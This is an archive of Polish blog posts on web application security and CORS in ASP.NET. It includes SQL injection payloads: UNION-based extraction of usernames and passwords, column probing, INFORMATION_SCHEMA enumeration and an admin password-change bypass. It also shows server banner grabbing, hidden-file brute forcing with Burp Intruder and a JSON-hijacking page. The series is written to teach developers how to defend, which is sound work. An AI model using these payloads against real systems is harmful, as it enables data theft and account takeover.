Category Archives: Bezpieczeństwo

Bezpieczeństwo web (część 5) – SQL Injection II, operator UNION

W poprzednim wpisie o podstawach SQL Injection, pokazałem podstawowe błędy podczas korzystania z zapytań SELECT, INSERT, UPDATE, DELETE. Jak okazało się, można było uzyskać dostęp do poufnych danych. Użycie operatora UNION to kolejna eskalacja ataku, dzięki której dowolne dane w bazie mogą zostać wykradzione.

Myślę, że warto poznać wszystkie skutki ataku SQL Injection, aby jasna była skala zagrożenia. Statystyki wciąż pokazują, że luki w SQL Injection są dość częste i programiści popełniają  gdzieś błędy. W przypadku skomplikowanych systemów, gdzie zapytania generowane są dynamicznie dostrzeżenie luki może być już nie takie oczywiste.

Spójrzmy jeszcze raz na zapytanie z poprzedniego wpisu:

SELECT Name, Content FROM Articles WHERE Name= ‘fraza’ and
Published=1

Co jeśli zamiast frazy, ktoś wklei:

tekst’ UNION SELECT username,password FROM Users--

Zapytanie przyjmie formę:

SELECT Name, Content FROM Articles WHERE Name= ‘tekst’ UNION SELECT username,password FROM Users--’ and
Published=1

Oznacza to, że wykona się następujący kod:

SELECT Name, Content FROM Articles WHERE Name= ‘tekst’

UNION

SELECT username,password FROM Users

Jeśli tylko atakujący odgadnie nazwę tabel, kolumn, ich liczbę oraz typy może uzyskać dostęp do WSZYSTKICH danych w bazie. Jeśli pierwsze zapytanie zwraca tylko jedną kolumnę, wtedy drugie musi również zwrócić taką samą liczbę (np. tylko hasło). Okazuje się, że odgadnięcie kolumn nie jest takie trudne, ponieważ dla testów można zwrócić NULL.

Załóżmy, że pierwsze zapytanie, zwraca 5 kolumn, np.:
SELECT A,B,C,D,E from Articles.

Jeśli nie znamy zarówno typów, nazw jak typów kolumn, po prostu zwracamy NULL. Typ NULL może być skonwertowany do jakiegokolwiek typu. Wystarczą zatem 5 próby:

' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT NULL, NULL, NULL, NULL --
' UNION SELECT NULL, NULL, NULL, NULL, NULL --

Jeśli któraś z prób powiedzie się sukcesem wtedy znamy już liczbę kolumn i możemy przejść do odgadywania typów kolumn. Jeśli chcemy sprawdzić czy któraż z nich jest typu text, wtedy:

' UNION SELECT 'Hello World', NULL, NULL, NULL, NULL --
' UNION SELECT NULL, 'Hello World', NULL, NULL, NULL --
' UNION SELECT NULL, NULL, 'Hello World', NULL, NULL --
' UNION SELECT NULL, NULL, NULL, 'Hello World', NULL --
' UNION SELECT NULL, NULL, NULL, NULL, 'Hello World'--

Zawsze jeden typ odgadujemy za pierwszy razem. Jęśli próba nie powiedzie się, przesuwamy tekst do kolejnej kolumny.

Następnie możemy spróbować inny typ – np. liczbowy. Załóżmy, że ostatnia kolumna to tekst i teraz szukamy typu liczbowego:

' UNION SELECT 1, NULL, NULL, NULL, 'Hello World'--
' UNION SELECT NULL, 1, NULL, NULL, 'Hello World'--
' UNION SELECT NULL, NULL, 1, NULL, 'Hello World'--
' UNION SELECT NULL, NULL, NULL, 1, 'Hello World'--

Na tym etapie wiemy już o liczbie oraz typach kolumn w pierwszym zapytaniu. W celu wykorzystania luki, trzeba odgadnąć jeszcze nazwę tabeli oraz nazwy kolumn, które chcemy odczytać. Czasami można domyślić się np. “SELECT Name from Users” ale nie jest to zbyt przydatne podejście.
Większość baz danych dostarcza metadane czyli informacje o dostępnych tabelach i kolumnach. W SQL Server do dyspozycji mamy INFORMATION_SCHEMA.
Tym sposobem, jeśli tylko znamy liczbę kolumn oraz ich typy możemy (załóżmy 3 kolumny, pierwsze dwie to typy tekstowe):

' UNION SELECT TABLE_NAME,COLUMN_NAME, NULL from INFORMATION_SCHEMA.COLUMNS--

Teraz już mamy wystarczające informacje aby odczytać jakiekolwiek dane z bazy.

Bezpieczeństwo web (część 4) – SQL Injection I

W poprzednich wpisach zajęliśmy się mapowaniem zawartości strony. Na tym etapie, powinno być jasne, jakiego typu ataki potencjalnie mogą być wykonane na stronie.

SQL Injection wciąż jest jednym z najczęściej spotykanych ataków. Może wydawać się to dziwne, ale często programiści nie zdają sobie sprawy z zagrożenia albo po prostu luki w bezpieczeństwie powstają w miarę ewolucji kodu. Moim zdaniem jest to największe ryzyku, gdy kod jest bardzo często zmieniany i czasami można coś przeoczyć. Nie zawsze również da się korzystać z parametryzowanych zapytań i wtedy niestety trzeba stworzyć zapytanie dynamicznie. Atak SQL Injection polega na takim zmanipulowaniu danych wejściowych, że powstanie nowe zapytanie, zwracające dowolne dane z bazy danych.

1. SQL Injeciton w Select

Zacznijmy od klasycznego przykładu. Załóżmy, że mamy wyszukiwarkę na stronie i zwracamy dane na podstawie wpisanej nazwy artykułu:

SELECT * FROM Articles WHERE Name= ‘fraza’ and
Published=1

To co znajduje się jako wartość kolumny ‘Name’ może być przekazywane za pomocą URL, np.:

www.test.com\articles?name=’fraza’

Problem w tym, że bez walidacji użytkownik może “wstrzyknąć” tak spreparowaną frazę, że powstanie zupełnie nowe zapytanie.  Co się stanie, jak użytkownik poda następującą frazę?

fraza’ OR 1=1 —

Po podstawieniu, zapytanie będzie wyglądać:

SELECT * FROM Articles WHERE Name= ‘fraza’ OR 1=1 –‘ and
Published=1

Podanie apostrofu spowoduje, że następna część frazy zostanie potraktowana jako zapytanie. Powyższy przykład pokazał jak wyświetlić wszystkie artykuły (OR 1=1)  zamiast tylko tego konkretnego.

Innymi słowy, atak SQL Injection jest możliwy, gdy dane pochodzą z zewnętrznego źródła (query string, formularz itp) i nie są one odpowiednio formatowane przed włączeniem je w dynamiczne zapytanie.

2. INSERT INTO

SQL Injection nie ogranicza się tylko do SELECT.  Załóżmy, że mamy następujący INSERT INTO:

INSERT INTO Articles (name, author,priority) Values (‘nazwa’,’Piotr Z’,5)

Jeśli nazwa pochodzi z zewnętrznego źródła, wtedy można wstrzyknąć:

nazwa’,’Piotr’,9999)–

Spowoduje to, że wyjściowe zapytanie to:

INSERT INTO Articles (name,author,priority) Values (nazwa’,’Piotr’,9999)–‘,’Piotr Z’,5)

Czyli będziemy w stanie zmienić jakiekolwiek wartości, nawet te, które były wcześniej zawsze stałymi.

3. UPDATE\DELETE

Analogicznie, Update jest narażony na taki sam atak. Rozważmy aktualizację hasła:

UPDATE Users SET Password=’new password’ WHERE user = ‘piotr’ and password
=’old password’

Zapytanie powinno zmienić hasło wyłącznie jeśli poda się prawidłową nazwę użytkownika oraz hasło (tylko wtedy jest dopasowany rekord w bazie). A co jeśli podamy jako nazwę admin’–? Powstanie wtedy:

UPDATE Users SET Password=’new password’ WHERE user = ‘admin’–‘ and password
=’old password’

W łatwy sposób unikniemy autentykacji i  zmienimy hasło dla administratora.

5. Klauzula OrderBy

Dane wyświetlane np. w formie tabel, zwykłe mogą być sortowane. Programiści myśląc, że napiszą bardziej elegancki kod, czasami wstrzykują nazwę kolumny i kierunek sortowania bezpośrednio  w zapytanie, tzn.:

SELECT * FROM Articles OrderBy Author DESC

Stosując powyższe wskazówki czyli podając jako nazwę kolumny np. Author ASC –, możemy modyfikować dowolnie kod.

6. Wstrzykiwanie napisów oraz typów liczbowych.

Nie znając architektury wewnętrznej trzeba w jakiś sposób sprawdzić z jakimi typami danych mamy do czynienia. Powyższe przykłady opierały się głównie na manipulowaniu tekstem poprzez dodane apostrofu. Często jednak możliwe jest wstrzyknięcie typów liczbowych np.:

SELECT * FROM Data where Page = 5.

Jeśli numer strony pochodzi od użytkownika, warto spróbować wstrzyknąć np. 3+3. Jeśli spowoduje to wyświetlenie strony 6, znaczy, że aplikacja jest podatna na kolejne ataki. Można nawet spróbować wstrzyknąć 71-ASCII(‘A’). Jeśli zostanie wyświetlona szósta strona (71-65), wtedy wiemy, że kolejne ataki można przeprowadzić.

Bezpieczeństwo web (część 3), mapowanie technologii serwerowych – serwer www

Oprócz rozpoznania zawartości aplikacji (o czym pisałem w poprzednich wpisach) przydatne jest rozpoznanie konkretnych technologii. Inaczej przeprowadza się atak na aplikację PHP, a inaczej na ASP.NET.

Zacznijmy od serwera WWW.  Zdobycie nazwy i konkretnej wersji może okazać się krytyczne. Dlaczego? Wiele serwerów WWW miało luki w bezpieczeństwie. Jeśli dana aplikacja używa starego IIS, możemy poszukać biuletynów bezpieczeństwa i sprawdzić, czy możliwe jest wykorzystanie konkretnych luk. Na przykład, stare wersje IIS miały problem z generowaniem w pełni losowych identyfikatorów sesji. O tym w innym poście, ale odgadniecie kolejnego numeru sesji jest oczywiście katastrofalne z punktu widzenia bezpieczeństwa.

Zaprezentowana technika w tym wpisie, nazywa się “banner grabbing“.

Najprostsza sztuczka polega na wysłaniu zapytania do serwera,  które zwróci w odpowiedzi m.in. nagłówek header (przykład z Wikipedii):

// Źródło: https://en.wikipedia.org/wiki/Banner_grabbing

[root@prober] nc www.targethost.com 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 11 May 2009 22:10:40 EST
Server: Apache/2.0.46 (Unix)  (Red Hat/Linux)
Last-Modified:  Thu, 16 Apr 2009 11:20:14 PST
ETag: "1986-69b-123a4bc6"
Accept-Ranges: bytes
Content-Length: 1110
Connection: close
Content-Type: text/html

Za pomocą telnet, możemy w łatwy sposób uzyskać, przynajmniej część powyższych informacji:

1. Uruchomiamy CMD i wpisujemy “telnet adres_serwera port”:
1

2. Po połączeniu, wpisujemy “HEAD / HTTP/1.0”:
1

Jak widać, w szybki sposób dowiedzieliśmy się jaki serwer oraz jaka jego wersja jest zainstalowana. W praktyce jednak, ma to BARDZO ograniczone możliwości ponieważ zwykle administratorzy blokują nagłówek serwer lub zwracają nieprawidłowe informacje.

Niestety istnieją narzędzia, które potrafią przynajmniej w przybliżeniu podać wersję. Posiadają zwykle one zestaw reguł i na ich podstawie wyznaczają wersje. Każdy serwer zwraca trochę inne informacje na takie same zapytania. Może być to kolejność nagłówków, czasy generowania odpowiedzi czy konkretne wartości występujące w nagłówkach . Po wysłaniu wystarczającej ilości zapytań, narzędzia te potrafią dopasować serwer oraz wersję serwera.

Jednym z tych narzędzi jest HTTPRecon:
1

Oczywiście, jeśli wszystkie dostępne na rynku serwery www implementowałyby HTTP w identyczny sposób, powyższa sztuczka nie miałaby sensu.

Zwykle programiści nie są bezpośrednio odpowiedzialni za serwer WWW. Zawsze jednak należy pamiętać, aby instalować najnowsze aktualizacje ponieważ nawet aplikacja bez żadnych luk bezpieczeństwa może zostać z łatwością złamana jeśli serwer WWW np. generuje przewidywalne numery sesji.

Bezpieczeństwo web (część II): Odkrywanie ukrytej zawartości

Minęło już sporo czasu od ostatniego wpisu na temat bezpieczeństwa. Tak jak wspomniałem w pierwszym wpisie, dobrym sposobem na zabezpieczenie własnych aplikacji jest zrozumienie jak ta druga strona może próbować znaleźć lukę w naszym systemie. Mapowanie to pierwszy etap, który ma na celu rozpoznanie najmniej chronionych fragmentów aplikacji – zadziwiająco często można znaleźć bardzo wrażliwe informacje takie jak logi czy nawet hasła.

W poprzednim wpisie stworzyliśmy podstawową mapę, składającą się po prostu z publicznie dostępnych informacji, wygenerowanych manualnie oraz za pomocą spidering. Użyliśmy narzędzia Burp Suite, które jest również dostępne w darmowej wersji. W prostych przypadkach, czasami łatwiej napisać po prostu aplikacje konsolową w C#, która zrobi za nas np. wspomniany spidering, ale warto mimo wszystko przyzwyczaić się do zewnętrznych narzędzi.

Dzisiaj chciałbym pokazać na czym polega mapowanie ukrytej zawartości. Za ukryte strony mam na myśli tą zawartość, do której nie można dostać się za pomocą publicznej strony bo po prostu nie jest ona podlinkowana. Z tego względu, często programiści zapominają o niej i nie stosują autoryzacji. Co możemy znaleźć w takich plikach?

1. Logi – bardzo często przechowywane są w tym samym folderze co aplikacja, a co za tym idzie prawdopodobne jest, że ktoś zignorował autoryzację.

2. Kopie zapasowe. Szczególnie we współdzielonych hostingach, kopie są umieszczane w folderze aplikacji. Jeśli nie są chronione, istnieje prawdopodobieństwo, że uzyskamy dostęp do danych lub kodów źródłowych.

3. Hasła – wiem, że to mało prawdopodobne, a jednak. Bywały przypadki w historii, gdzie ludzie przechowywali pliki tekstowe z… hasłami.

4. Kody źródłowy – czasami osoby zamiast DLL przekopiowują cały kod, lub edytując skrypty (np. PHP), chwilowo zamieniają stare nazwy na np. “HomePage.php.txt”.

5.  Niechronione strony. Jeśli aplikacja ma mechanizm autoryzacji, warto spróbować otworzyć różne strony bez niej. Często autorzy popełniają błąd, myśląc, że skoro strona nie jest dostępna publicznie, to nie musi być chroniona.  Czasami wynika to po prostu z błędu – np. pominięcia atrybutu Authorize dla jednego kontrolera.

Odkrycie takiej zawartości jest jednak dużo trudniejsze i zwykle polega na zgadywaniu. Wymaga to sporej znajomości m.in. technologii wykorzystywanych przez daną stronę (o tym nauczymy się w następnych wpisach). Wiedząc np. jaki framework jest wykorzystywany do wykonywania logów, możemy domyśleć się gdzie są one przechowywane. Podobnie wygląda sprawa z kopią zapasową.

Nie oznacza to, że przeprowadzenie wspomnianego ataku jest niemożliwe… W Internecie istnieje wiele list zawierających najczęściej występujące nazwy plików i folderów. Listy te mogą mieć nawet tysiące wpisów. Posiadając taką listę, można automatycznie wygenerować zapytania do serwera. Na przykład, używając Burp Suite wystarczy przejść do Intruder->Positions i podać szablon zapytania HTTP:

1

Należy również załadować wspomnianą listę:

1

Po odpaleniu zapytań (Intruder->Start attack), zobaczymy listę zapytań. Warto zwrócić uwagę na zwracany kod HTTP i długość zapytania. Niektóre strony mogą zwracać HTTP 200, pomimo, że strona nie istnieje – po prostu maja swoją własną stronę z błędami. Dlatego obserwowanie kolumny Length może być bardziej skuteczne.

Cross-Origin Request sharing (CORS): Atrybut EnableCors

O atrybucie EnableCors już wspomniałem w pierwszym poście o CORS.  Dzisiaj chciałbym przyjrzeć mu się dokładniej.  Dla przypomnienia, najczęściej dekoruje im się kontrolery:

    [EnableCors( "http://localhost:24018","*","*")]
    public class ValuesController : ApiController
    {
        // GET api/values/5
        public string Get()
        {
            return "Hello World@";
        }
    }

Możliwe jest jednak dołączenie go do pojedynczej metody (akcji):

    public class ValuesController : ApiController
    {
        [EnableCors("http://localhost:24018", "*", "*")]
        public string Get()
        {
            return "Hello World";
        }
    }

Jeśli chcemy nałożyć atrybut globalnie, wtedy w WebConfig możemy:

    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {

            var cors = new EnableCorsAttribute("http://localhost:24018", "*", "*");
            config.EnableCors(cors);

            // Web API routes
            config.MapHttpAttributeRoutes();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }

Origin określa adres klienta czyli konsumenta danej usługi. W powyższym przypadku wyłącznie http://localhost:24018 uzyskuje dostęp do API. Możemy przekazać gwiazdkę (*) jeśli chcemy zezwolić wszystkim klientom:

[EnableCors(origins: "*", 
    headers: "*", methods: "*")]

Oczywiście odradzam akceptowanie wszystkich klientów ze względu na bezpieczeństwo. Każde zapytanie AJAX, będzie mogło korzystać z naszego API, co potencjalnie może być wykorzystane np. w phishing.
Dozwolone jest również przekazanie listy adresów po przecinku:

[EnableCors(origins: "http://www.address1.com,http://www.address2.com"", 
    headers: "*", methods: "*")]

We wszystkich parametrach można podać listę wartości po przecinku. Na przykład:

[EnableCors(origins: "http://www.address1.com", 
    headers: "accept,content-type,origin,x-my-header", methods: "*")]

Niestety różne przeglądarki interpretują inaczej headers i nie można ma tym polegać. Cały mechanizm CORS mocno polega na implementacji przeglądarki. To ona w końcu decyduje jakie pakiety wysłać do serwera i kiedy zezwolić na połączenie. Zdecydowana większość przeglądarek nie pozwala na między domenowe połączenia, ale nie wszystkie w pełni implementują CORS. Może zdarzyć się, że po prostu lista nagłówków nie zostanie wysłana jako część zapytania CORS.

Analogicznie sprawa wygląda z metodami HTTP:

[EnableCors(origins: "http://www.address1.com", 
    headers: "*", methods: "GET,POST")]

To ostatni post o CORS. W następnym wpisie powracam do zaczętej w poprzednim tygodniu tematyki o bezpieczeństwie aplikacji WEB.

Cross-Origin Request sharing (CORS): Zapytania prefight

Po ostatnim poście powinno być jasne dlaczego i kiedy warto używać CORS. Przedstawiony przykład pokazywał dwa kluczowe nagłówki: origin oraz Access-Control-Allow-Origin. W praktyce jednak, może zdarzyć się, że przeglądarka wyśle dodatkowy pakiet, tzw. “prefight”. Przeglądarki omijają ten etap, gdy następujące warunki sa spełnione:

  1. Zapytanie jest typu GET, HEAD lub POST
  2. W nagłówku nie ma innych zapytań niż  Accept, Accept-Language, Content-Language lub Content-Type
  3. Content-Type ma wyłącznie wartości takie jak: application/x-www-form-urlencoded, multipart/form-data, text/plain

W przeciwnym wypadku, pakiet prefight zostanie wysłany. Najprostszy przykład takiego pakietu, wysyłanego przez klienta do usługi to:

OPTIONS /
Host: bar.com
Origin: http://foo.com

Przede wszystkim, prefight używa HTTP Options, gdzie jako wartość często podaje się adres usługi. Dodatkowo, można skorzystać z nagłówków Access-Control-Request-Method lub Access-Control-Request-Headers. Pierwszy z nich służy do określenia metod HTTP z jakich chcemy skorzystać (GET, PUT itp.). Drugi z kolei, zawiera dodatkowe nagłówki, jakie klient chce ustawić (niestandardowe). Przykład:

OPTIONS http://service.com/hello HTTP/1.1
Accept: */*
Origin: http://client.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: accept, x-my-custom-header
Accept-Encoding: gzip, deflate

W odpowiedzi z kolei, dostajemy standardowo Access-Control-Allow-Origin oraz dodatkowo Access-Control-Allow-Methods:

Access-Control-Allow-Origin: http://foo.com
Access-Control-Allow-Methods: PUT, DELETE

W przypadku, gdy wszystko zgadza się (origin, methods) wtedy dopiero przeglądarka wysyła właściwe zapytanie między domenowe. Jak widać, w przypadku niestandardowych zapytań, czas wykonania może być trochę dłuższy ze względu na liczbę wysyłanych i odbieranych pakietów.

Cross-Origin Request sharing (CORS): wywoływanie zewnętrznych usług z JavaScript

Kilka postów wcześniej pisałem o JSONP, jako sposobie na wywoływanie serwisów znajdujących się w innych domenach z poziomu JavaScript. Domyślnie przeglądarki blokują takie wywołania ze względu na bezpieczeństwo. Załóżmy, że mamy następujący serwis w jakiejś domenie:

public class ValuesController : ApiController
{
   // GET api/values/5
   public string Get()
   {
      return "Hello World";
   }
}

Następnie w drugiej domenie mamy kod JavaScript próbujący pobrać dane z powyższej usługi:

$.ajax({ url: "http://localhost:24523/api/Values" }).
done(function (data) { $("#testLabel").text(data.Text); });

Próba połączenia się z usługą zakończy się oczywiście następującym błędem:

“XMLHttpRequest cannot load http://localhost:24523/api/Values.
No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://localhost:24018’ is therefore not allowed access.”

CORS to standard zaimplementowany przez większość współczesnych przeglądarek internetowych.  W skrócie jeśli kod JavaScript chce wykonać zapytanie cross-domain to przeglądarka najpierw wyśle specjalny pakiet do usługi. Jeśli usługa wyrazi zgodę na cross-domain, wtedy połączenie między domenowe zostanie nawiązane. Innymi słowy, to serwer decyduje czy dopuścić dane połączenie z obcej domeny. Z punktu technicznego zatem, zarówno przeglądarka jak i serwer muszą wspierać CORS. W WebAPI bardzo prostą możemy zaimplementować CORS. Wystarczy, że zainstalujemy następujący pakiet:

Install-Package Microsoft.AspNet.WebApi.Cors

Następnie w WebConfig wywołujemy EnableCors:


        public static void Register(HttpConfiguration config)
        {
            // Web API configuration and services
            config.EnableCors();

            // Web API routes
            config.MapHttpAttributeRoutes();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }

 

Należy również oznaczyć dany kontroler atrybutem EnableCors:

    [EnableCors( "http://localhost:24018","*","*")]
    public class ValuesController : ApiController
    {
        // GET api/values/5
        public string Get()
        {
            return "Hello World@";
        }
    }

 

Po uruchomieniu strony, wszystko załaduje się prawidłowo. Jak widać jest to trochę prostsze niż JSONP i bardziej naturalne. JSONP to tak naprawdę wykorzystywanie pewnej luki w przeglądarkach, aczkolwiek jest to bardzo powszechna praktyka i nic nie stoi na przeszkodzie, aby po prostu używać JSONP.

Zajrzyjmy jeszcze do definicji atrybutu EnableCors:


public EnableCorsAttribute(string origins, string headers, string methods)
: this(origins, headers, methods, (string) null)
{
}

Jak widać, najważniejszy parametr to origin czyli adres strony, która będzie wywoływała daną usługę. Innymi słowy, w powyższym rozwiązaniu akceptujemy wyłącznie domenę http://localhost:24523. Możemy również być bardziej wybredni co do przychodzących zapytań i określić konkretne nagłówki czy metody HTTP (GET\POST itp.).

Przyjrzyjmy się również pakietom jakie przeglądarka i usługa wysyłają. W momencie, gdy klient (przeglądarka) próbuje nawiązać połączenie między domenowe, przeglądarka wyśle pakiet z nagłówkiem Origin równym adresowi klienta czyli w tym przypadku “Origin: http://localhost:24018”:


Accept:*/*
Accept-Encoding:gzip, deflate, sdch
Accept-Language:en-GB,en;q=0.8,en-US;q=0.6,pl;q=0.4
Cache-Control:max-age=0
Connection:keep-alive
Host:localhost:24523
Origin:http://localhost:24018
Referer:http://localhost:24018/Home/Index
User-Agent:Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36

Jeśli domena pokryje się z regułami opisanymi za pomocą EnableCors, wtedy zostanie zwrócony pakiet z nagłówkiem Access-Control-Allow-Origin równym danej domenie tzn.:


Access-Control-Allow-Origin:http://localhost:24018
Cache-Control:no-cache
Content-Length:14
Content-Type:application/json; charset=utf-8
Date:Mon, 03 Aug 2015 18:09:57 GMT
Expires:-1
Pragma:no-cache
Server:Microsoft-IIS/10.0
X-AspNet-Version:4.0.30319
X-Powered-By:ASP.NET
X-SourceFiles:=?UTF-8?B?YzpcdXNlcnNccGlvdHJ6XGRvY3VtZW50c1x2aXN1YWwgc3R1ZGlvIDIwMTVcUHJvamVjdHNcV2ViQXBwbGljYXRpb24yXFdlYkFwcGxpY2F0aW9uMlxhcGlcVmFsdWVz?=

 

W przyszłym poście opiszę jeszcze kilka rzeczy związanych z CORS. Na zakończenie zachęcam na zapoznanie się, które przeglądarki posiadają wsparcie dla CORS: http://caniuse.com/#feat=cors

 

Bezpieczeństwo WEB: Wprowadzenie, mapowanie aplikacji część I

Wpis o Merge\Rebase powstanie pewnie w przyszłym tygodniu – pamiętam. Dzisiaj chciałbym rozpocząć nowy cykl o bezpieczeństwie aplikacji webowych. Niejednokrotnie o tym pisałem już, ale były to luźno powiązane ze sobą wpisy. Od tego wpisu chciałbym to zmienić i przedstawić bardziej dogłębnie tą tematykę.

Pierwsze wpisy będą stanowiły całkowite podstawy, ale mam nadzieję, że również bardziej zaawansowani programiści znajdą coś ciekawego w tym (np. wykorzystywane narzędzia).  Na końcu mam zamiar przedstawić kilka “sławnych” luk bezpieczeństwa, które miały miejsce w ASP.NET WebForms, ASP.NET MVC oraz w IIS.

Od strony technologicznej będę zajmował się głównie rozwiązaniami od MS (ASP.NET, IIS) ponieważ po prostu nie korzystałem na tyle długo z innych technologii, aby móc pisać o bezpieczeństwie w nich i najczęściej popełnianych błędach.  Oczywiście tematyka bezpieczeństwa aplikacji webowych głównie opiera się na tym samym mechanizmie i wykorzystywana technologia nie ma znaczenia. Na przykład, każda aplikacja może być podatna na SQL Injection.  Z drugiej strony jednak, czasami wykorzystuje się luki w bezpieczeństwie (np. w kodowaniu znaków) specyficzne dla danej technologii czy framework’u.

Zatem jaki jest pierwszy lub jeden z pierwszych kroków w przypadku bezpieczeństwa aplikacji? Jeśli nie znamy danej strony\aplikacji nie wiemy  jakie luki bezpieczeństwa mogą w niej występować. Z tego względu, warto rozpocząć analizę strony, która dostarczy nam informacji m.in. o wykorzystywanych technologiach, serwerze www, treści, wszelkich podstronach czy po prostu logice biznesowej, która została zaimplementowana. Luka w bezpieczeństwie może występować na każdym etapie. Jeśli dowiemy się, że wersja IIS jest nieaktualna, wtedy możemy spróbować znaleźć i wykorzystać jedną z wielu z luk bezpieczeństwa, które oficjalne są już znane i załatane w najnowszych wersjach.

Szczególnie ważne jest odkrycie wszelkich podstron czy plików. W skrajnych sytuacjach strony mogą eksponować nawet listę haseł. Wydaje się to bardzo nieprawdopodobne, ale nie jedna wielka firma czy organizacja w przeszłości przechowywała dane wrażliwe w plikach tekstowych, które były potem publicznie dostępne i wystarczyło zgadnąć po prostu URL… W praktyce strony\aplikacje są często pisane przez amatorów, outsourcowane do firm, które nie przejmują się bezpieczeństwem lub w przypadku dużych firm i napiętych terminów,  systemy webowe są na tyle skomplikowane, że prawdopodobieństwo wystąpienia błędu jest bardzo wysokie.

Innymi słowy, mapowanie dokonujemy, aby odkryć na jakie ataki może być potencjalnie podatna aplikacja. Na przykład, przeglądając zasoby możemy wywnioskować o:

  1. Wykorzystywanych technologiach (o tym konkretnym mapowaniu napiszę później)
  2. Plikach i podstronach. Czasami odkryte pliki bezpośrednio stanowią lukę w bezpieczeństwie np. logi aplikacji.
  3. Ogólnym działaniu aplikacji. Budując mapę, analizujemy działanie strony. Dzięki temu w przyszłości skupimy się na konkretnych aspektach. Jeśli podczas analizy odkryjemy formularze do logowania, wtedy spróbujemy np. ominąć autoryzację. Jeśli zobaczymy, że pewna treść jest wstrzykiwana dynamicznie, możemy pomyśleć o atakach typu XSS czy SQL Injection.
  4. Zwracanych kodach HTTP, czasach wykonywania konkretnych zapytań jak i łańcuchach interakcji. Dzięki niej, dowiemy się np. jaką serię zapytań należy wykonać, aby użytkownik został autoryzowany.
  5. Odkrycie ukrytych plików, które w żaden sposób nie są podlinkowane na publicznej stronie (o tym później).
  6. Identyfikacja punktów, gdzie wstrzykujemy dane do aplikacji. Klasycznym przykładem są formularze. Inne możliwości to Query String (argumenty w URL), ciasteczka, HTTP body, HTTP header czy po prostu zwykły URL. Oczywiście wszelkie punkty gdzie wstrzykujemy dane powinny zwrócić naszą uwagę, ponieważ potencjalnie są podatne na ataki (np. w przypadku braku walidacji).
  7. Identyfikacja usług. Dzisiejsze aplikacje webowe to nie tylko pojedynczy serwis. Często występują połączenia z zewnętrznymi usługami, zwykle typu REST.
  8. Walidacji po stronie klienta. Często strony weryfikują dane za pomocą JavaScript. Zawsze warto sprawdzić, czy ta sama weryfikacja następuje również po stronie serwera.
  9. Połączeniach z bazą danych. Jeśli wiemy, że aplikacja nie jest statyczna to być może jest podatna na SQL Injection.

Oczywiście powyższa lista to tylko mały podzbiór przykładów. Jedynie co chcę pokazać, że bez mapowania nie wiemy po prostu od czego zacząć. Po analizie, możemy taką listę ułożyć np. od najbardziej prawdopodobnych ataków do tych mniej. Nie warto poświęcać wszystkiemu jednakowej uwagi.

Mapowanie aplikacji może odbywać się na kilka sposobów. Pierwszy z nich to ręczne przeglądanie strony i zgadywanie linków. Na przykład, jeśli aplikacja wykorzystuje elmah do wykonywania logów, możemy spróbować otworzyć http://localhost:xxxx/elmah.axd.  Logi zwykle dostarczają wystarczająco dużo informacji, aby przeprowadzić już konkretny atak.

Innym sposobem jest odpalenie automatycznego narzędzia, które będzie przechodziło za nas z jednej strony na drugą – tzw. web spidering.  W praktyce jednak jest to dość ograniczone ponieważ strony często korzystają z zaawansowanej walidacji danych w formularzach czy po prostu są asynchroniczne i interakcja polega na wysłaniu zapytania AJAX.

Najlepsze rezultaty daje trzeci sposób czyli połączenie ręcznego przeglądania strony ze wsparciem narzędzi. Ręcznie możemy zalogować się czy wykonać zapytania AJAX, a narzędzie w tle za nas będzie wszystko śledzić.

W Internecie można znaleźć wiele narzędzi, zarówno darmowych jak i komercyjnych. Osobiście korzystam z Burp Suite, które ma również darmową edycję.  Program może nie jest jakoś super intuicyjny, ale ma sporo użytkowników więc łatwo znaleźć odpowiedź na jakiekolwiek pytania. Screenshot:

image

Program działa na zasadzie proxy, zatem w ustawieniach musimy ustawić odpowiedni port:

image

Ruch będzie kierowany do 8080 czyli do Burp Suite. Dzięki temu, przeglądając jakąś stronę internetową,  Burp Suite będzie budował w tle mapę za nas.

Powinniśmy zatem przejść przez wszystkie strony, zarówno jako użytkownik anonimowy jak i po autentykacji (jeśli znamy hasło). Wracając do BS ponownie, zobaczymy, że wszelkie zapytania i odpowiedzi zostały zapisane:

image

BS w międzyczasie również odkryje za nas pewne strony. Zostaną one przedstawione kolorem szarym na powyższej liście. Jeśli posortujemy wyniki po Time Requested, wtedy strony automatycznie wykryte zostaną pogrupowane razem:

image

Warto poświęcić chwilę i przeanalizować je. Możliwe, że któraś ze stron wykryta przez BS nie miała być w zamiarze autorów aplikacji publiczna.

To dopiero początek mapowania aplikacji – w przyszłym wpisie więcej informacji o tym.

ASP.NET MVC: JSON i zwracanie danych za pomocą HTTP GET

Domyślnie ASP.NET MVC blokuje metody zwracające JSON, które wywołuje się za pomocą HTTP GET. Przykład:

public ActionResult GetData()
{
  return Json(new []{new Person("Piotr","Zielinski")});
}

Wykonanie zakończy się wyjątkiem:

This request has been blocked because sensitive information could be disclosed to third party web sites when this is used in a GET request. To allow GET requests, set JsonRequestBehavior to AllowGet. 

Z tego względu, programiści często wywołują Json z parametrem AllowGet:

public ActionResult GetData()
{
  return Json(new []{new Person("Piotr","Zielinsk")},JsonRequestBehavior.AllowGet);
}

W starszych przeglądarkach powyższa metoda może stanowić ryzyko. Załóżmy, że kontroler powyższej metody jest opatrzony atrybutem Authorize, czyli dostęp do danych powinien być chroniony. Wyłącznie osoba zalogowana ma prawo wywołać GetData.

Załóżmy również, że złośliwa osoba stworzy następujący dokument HTML:

<html> 
<body> 
    <script type="text/javascript"> 
        Object.prototype.__defineSetter__('FirstName', function(obj){alert(obj);});
    </script> 
    <script src="http://localhost:62574/Home/GetData"></script> 
</body> 
</html>

Jako źródło skryptu wskazujemy JSON. Tak się składa, że tablica danych JSON to prawidłowy kod JavaScript:

[{"FirstName":"Piotr","LastName":"Zielinski"}]

